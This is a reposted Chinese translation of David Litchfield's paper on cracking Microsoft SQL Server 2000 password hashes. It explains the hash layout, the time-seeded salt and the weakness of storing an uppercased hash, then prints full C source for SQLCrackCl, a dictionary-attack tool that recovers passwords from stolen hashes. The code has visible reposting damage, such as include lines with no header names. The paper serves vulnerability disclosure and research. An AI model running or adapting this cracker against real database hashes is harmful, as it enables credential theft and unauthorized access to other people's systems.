破解MSSQLHASH密码

破解MSSQL的HASH密码
原文名称 :Microsoft SQL Server Passwords (Cracking the password hashes)
原文地址 :http://www.ngssoftware.com/papers/cracking-sql-passwords.pdf
作者 :David Litchfield

Term : FreeXploiT

Author : ALLyeSNO

Date : 2005-3-25
翻译:ALLyeSNO http://blog.csdn.net/freexploit
参考文章:flashsky《浅谈SQL SERVER数据库口令的脆弱性》

SQL服务器是怎样储存密码的?

SQL服务器使用了一个没有公开的函数pwdencrypt()对用户密码产生一个hash。通过研究我们可以发

现这个hash储存在mater数据库的sysxlogins表里面。这个可能已经是众所周知的事情了。

pwdencrypt()函数还没有公布详细的资料,我们这份文档将详细对这个函数进行讨论,并将指出sql

服务器储存hash的这种方法的一些不足之处。实际上,等下我将会说‘密码hashes’。(allyesno:后

文会讨论到,由于时间的关系即使当密码相同的时候生成的hash也并不是唯一一个,所以是hashes)

SQL的密码hash看起来是怎样的呢?

我们使用查询分析器,或者任何一个SQL客户端来执行这条语句:

select password from master.dbo.sysxlogins where name='sa'

屏幕会返回类似下面这行字符串的东东。

0x01008D504D65431D6F8AA7AED333590D7DB1863CBFC98186BFAE06EB6B327EFA5449E6F649BA954AFF40
57056D9B

这是我机子上登录密码的hash。

通过分析hash我们可以从中获取pwdencrypt()的一些什么信息?

1.时间

首先我们使用查询 select pwdencrypt() 来生成hash

select pwdencrypt('ph4nt0m')

生成hash

0x01002717D406C3CD0954EA4E909A2D8FE26B55A19C54EAC3123E8C65ACFB8F6F9415946017F7D4B8279B
A19EFE77

ok再一次 select pwdencrypt('ph4nt0m')

0x0100B218215F1C57DD1CCBE3BD05479B1451CDB2DD9D1CE2B3AD8F10185C76CC44AFEB3DB854FB343F3D
BB106CFB

我们注意到,虽然两次我们加密的字符串都是ph4nt0m但是生成的hash却不一样。

那么是什么使两次hash的结果不一样呢,我们大胆的推测是时间在这里面起到了关键的作用,

它是创建密码hashes和储存hashes的重要因素。之所以使用这样的方式,

是因为当两个人输入同样的密码时可以以此产生不同的密码hashes用来掩饰他们的密码是相同的。

2.大小写(广告时间:英汉网络技术词汇这本字典好,翻译的时候很多金山词霸找不到的东西,它

都能弄出来)

使用查询

select pwdencrypt('ALLYESNO')

我们将得到hash

0x01004C61CD2DD04D67BD065181E1E8644ACBE3551296771E4C91D04D67BD065181E1E8644ACBE3551296
771E4C91

通过观察,我们可以发现这段hash中有两段是相同的,如果你不能马上看出来,让我们把它截断来
看。

0x0100(固定)
4C61CD2D(补充key)
D04D67BD065181E1E8644ACBE3551296771E4C91(原型hash)
D04D67BD065181E1E8644ACBE3551296771E4C91(大写hash)

现在我们可以看出来最后两组字符串是一模一样的了。这说明这段密码被相同的加密方式进行了两

次加密。一组是按照字符原型进行加密,另一组是按照字符的大写形式进行了加密。当有人尝试破

解SQL密码的时候将会比他预期要容易,这是一个糟糕的加密方式。因为破解密码的人不需要理会字

符原型是大写还是小写,他们只需要破解大写字符就可以了。这将大大减少了破解密码者所需要破

解密码的字符数量。(allyesno:flashsky的文章《浅谈SQL SERVER数据库口令的脆弱性》中曾经

提到“如因为其算法一样,如果HASH1=HASH2,就可以判断口令肯定是未使用字母,只使用了数字和

符号的口令”。实际上并不如flashsky所说的完全相同,我们使用了select pwdencrypt()进行加密

以后就可以发现使用了数字和符号和大写字母的密码其hash1和hash2都会相同,所以这是flashsky

文章中一个小小的bug)


补充key

根据上文所述,当时间改变的时候也会使得hash改变,在hash中有一些跟时间有关系的信息使得密

码的hashes不相同,这些信息是很容易获取的。当我们登录的时候依靠从登录密码中和数据库中储

存的hash信息,就可以做一个比较从而分析出这部分信息,我们可以把这部分信息叫做补充key。

上文中我们获取的hash中,补充key 4C61CD2D 就是这个信息的一部分。

这个key 4C61CD2D 由以下阐述的方法生成。

time()C 函数被调用作为一个种子传递给srand()函数。一旦srand()函数被作为rand()函数的种子

并且被调用生成伪随机key,srand()就会设置了一个起点产生一系列的(伪)随机key。然后sql

服务器会将这个key截断取一部分,放置在内存里面。我们叫它key1。这个过程将会再运行一次并

生成另一个key我们叫他key2。两个key连在一起就生成了我们用来加密密码的补充key。

密码的散列法

用户的密码会被转换成UNICODE形式。补充key会添加到他们后面。例如以下所示:

{'A','L','L','Y','E','S','N','O',0x4C,0x61,0xCD,0x2D}

以上的字符串将会被sql服务器使用pwdencrypt()函数进行加密(这个函数位于advapi32.dll)。生

成两个hash

0x0100(固定)
4C61CD2D(补充key)
D04D67BD065181E1E8644ACBE3551296771E4C91(原型hash)
D04D67BD065181E1E8644ACBE3551296771E4C91(大写hash)

验证过程

用户登录SQL服务器的验证过程是这样子的:当用户登陆的时候,SQL服务器在数据库中调用上面例


子中的补充key4C61CD2D,将其附加在字符串“ALLYESNO”的后面,然后使用pwdencrypt()函数进行加

密。然后把生成的hash跟数据库内的hash进行对比,以此来验证用户输入的密码是否正确。

SQL服务器密码破解

我们可以使用同样的方式去破解SQL的密码。当然我们会首先选择使用大写字母和符号做为字典进行

破解,这比猜测小写字母要来得容易。

一个命令行的MSSQL服务器HASH破解工具源代码

  1. /   
  2. //   
  3. // SQLCrackCl   
  4. //   
  5. // This will perform a dictionary attack against the   
  6. // upper-cased hash for a password. Once this   
  7. // has been discovered try all case variant to work   
  8. // out the case sensitive password.   
  9. //   
  10. // This code was written by David Litchfield to   
  11. // demonstrate how Microsoft SQL Server 2000   
  12. // passwords can be attacked. This can be   
  13. // optimized considerably by not using the CryptoAPI.   
  14. //   
  15. // (Compile with VC++ and link with advapi32.lib   
  16. // Ensure the Platform SDK has been installed, too!)   
  17. //   
  18. //   
  19.   
  20. #i nclude    
  21. #i nclude    
  22. #i nclude    
  23.   
  24. FILE *fd=NULL;   
  25. char *lerr = "\nLength Error!\n";   
  26.   
  27. int wd=0;   
  28. int OpenPasswordFile(char *pwdfile);   
  29. int CrackPassword(char *hash);   
  30.   
  31. int main(int argc, char *argv[])   
  32. {   
  33. int err = 0;   
  34.   
  35. if(argc !=3)   
  36. {   
  37. printf("\n\n*** SQLCrack *** \n\n");   
  38. printf("C:\>%s hash passwd-file\n\n",argv[0]);   
  39. printf("David Litchfield ([email protected])\n");   
  40. printf("24th June 2002\n");   
  41. return 0;   
  42. }   
  43.   
  44. err = OpenPasswordFile(argv[2]);   
  45. if(err !=0)   
  46. {   
  47. return printf("\nThere was an error opening the password file %s\n",argv[2]);   
  48. }   
  49. err = CrackPassword(argv[1]);   
  50.   
  51. fclose(fd);   
  52. printf("\n\n%d",wd);   
  53.   
  54. return 0;   
  55. }   
  56.   
  57. int OpenPasswordFile(char *pwdfile)   
  58. {   
  59. fd = fopen(pwdfile,"r");   
  60. if(fd)   
  61. return 0;   
  62. else  
  63. return 1;   
  64. }   
  65.   
  66. int CrackPassword(char *hash)   
  67. {   
  68.   
  69. char phash[100]="";   
  70. char pheader[8]="";   
  71. char pkey[12]="";   
  72. char pnorm[44]="";   
  73. char pucase[44]="";   
  74. char pucfirst[8]="";   
  75. char wttf[44]="";   
  76. char uwttf[100]="";   
  77. char *wp=NULL;   
  78. char *ptr=NULL;   
  79. int cnt = 0;   
  80. int count = 0;   
  81. unsigned int key=0;   
  82. unsigned int t=0;   
  83. unsigned int address = 0;   
  84. unsigned char cmp=0;   
  85. unsigned char x=0;   
  86. HCRYPTPROV hProv=0;   
  87. HCRYPTHASH hHash;   
  88. DWORD hl=100;   
  89. unsigned char szhash[100]="";   
  90. int len=0;   
  91.   
  92. if(strlen(hash) !=94)   
  93. {   
  94. return printf("\nThe password hash is too short!\n");   
  95. }   
  96.   
  97. if(hash[0]==0x30 && (hash[1]== 'x' || hash[1] == 'X'))   
  98. {   
  99. hash = hash + 2;   
  100. strncpy(pheader,hash,4);   
  101. printf("\nHeader\t\t: %s",pheader);   
  102. if(strlen(pheader)!=4)   
  103. return printf("%s",lerr);   
  104.   
  105. hash = hash + 4;   
  106. strncpy(pkey,hash,8);   
  107. printf("\nRand key\t: %s",pkey);   
  108. if(strlen(pkey)!=8)   
  109. return printf("%s",lerr);   
  110.   
  111. hash = hash + 8;   
  112. strncpy(pnorm,hash,40);   
  113. printf("\nNormal\t\t: %s",pnorm);   
  114. if(strlen(pnorm)!=40)   
  115. return printf("%s",lerr);   
  116.   
  117. hash = hash + 40;   
  118. strncpy(pucase,hash,40);   
  119. printf("\nUpper Case\t: %s",pucase);   
  120. if(strlen(pucase)!=40)   
  121. return printf("%s",lerr);   
  122.   
  123. strncpy(pucfirst,pucase,2);   
  124.   
  125. sscanf(pucfirst,"%x",&cmp);   
  126. }   
  127. else  
  128. {   
  129. return printf("The password hash has an invalid format!\n");   
  130. }   
  131.   
  132. printf("\n\n Trying...\n");   
  133.   
  134. if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL ,0))   
  135. {   
  136. if(GetLastError()==NTE_BAD_KEYSET)   
  137. {   
  138. // KeySet does not exist. So create a new keyset   
  139. if(!CryptAcquireContext(&hProv,   
  140.   
  141. NULL,   
  142. NULL,   
  143. PROV_RSA_FULL,   
  144. CRYPT_NEWKEYSET ))   
  145. {   
  146. printf("FAILLLLLLL!!!");   
  147. return FALSE;   
  148. }   
  149.   
  150. }   
  151.   
  152. }   
  153.   
  154. while(1)   
  155. {   
  156.   
  157. // get a word to try from the file   
  158. ZeroMemory(wttf,44);   
  159.   
  160. if(!fgets(wttf,40,fd))   
  161. return printf("\nEnd of password file. Didn't find the password.\n");   
  162.   
  163. wd++;   
  164.   
  165. len = strlen(wttf);   
  166. wttf[len-1]=0x00;   
  167.   
  168. ZeroMemory(uwttf,84);   
  169.   
  170. // Convert the word to UNICODE   
  171. while(count < len)   
  172. {   
  173. uwttf[cnt]=wttf[count];   
  174. cnt++;   
  175. uwttf[cnt]=0x00;   
  176. count++;   
  177. cnt++;   
  178. }   
  179. len --;   
  180.   
  181. wp = &uwttf;   
  182. sscanf(pkey,"%x",&key);   
  183. cnt = cnt - 2;   
  184.   
  185. // Append the random stuff to the end of   
  186. // the uppercase unicode password   
  187. t = key >> 24;   
  188. x = (unsigned char) t;   
  189.   
  190. uwttf[cnt]=x;   
  191. cnt++;   
  192.   
  193. t = key << 8;   
  194. t = t >> 24;   
  195. x = (unsigned char) t;   
  196. uwttf[cnt]=x;   
  197. cnt++;   
  198.   
  199. t = key << 16;   
  200. t = t >> 24;   
  201. x = (unsigned char) t;   
  202.   
  203. uwttf[cnt]=x;   
  204. cnt++;   
  205.   
  206. t = key << 24;   
  207. t = t >> 24;   
  208. x = (unsigned char) t;   
  209. uwttf[cnt]=x;   
  210. cnt++;   
  211.   
  212. // Create the hash   
  213.   
  214. if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash))   
  215. {   
  216. printf("Error %x during CryptCreatHash!\n", GetLastError());   
  217. return 0;   
  218. }   
  219.   
  220. if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0))   
  221. {   
  222. printf("Error %x during CryptHashData!\n", GetLastError());   
  223. return FALSE;   
  224. }   
  225.   
  226. CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0);   
  227.   
  228. // Test the first byte only. Much quicker.   
  229. if(szhash[0] == cmp)   
  230. {   
  231. // If first byte matches try the rest   
  232. ptr = pucase;   
  233. cnt = 1;   
  234. while(cnt < 20)   
  235. {   
  236. ptr = ptr + 2;   
  237. strncpy(pucfirst,ptr,2);   
  238. sscanf(pucfirst,"%x",&cmp);   
  239. if(szhash[cnt]==cmp)   
  240. cnt ++;   
  241. else  
  242. {   
  243. break;   
  244. }   
  245. }   
  246. if(cnt == 20)   
  247. {   
  248.   
  249. // We've found the password   
  250. printf("\nA MATCH!!! Password is %s\n",wttf);   
  251. return 0;   
  252.   
  253. }   
  254. }   
  255.   
  256. count = 0;   
  257. cnt=0;   
  258.   
  259. }   
  260.   
  261. return 0;   
  262. }   

转载于:https://www.cnblogs.com/baogg/articles/1991114.html

你可能感兴趣的:(破解MSSQLHASH密码)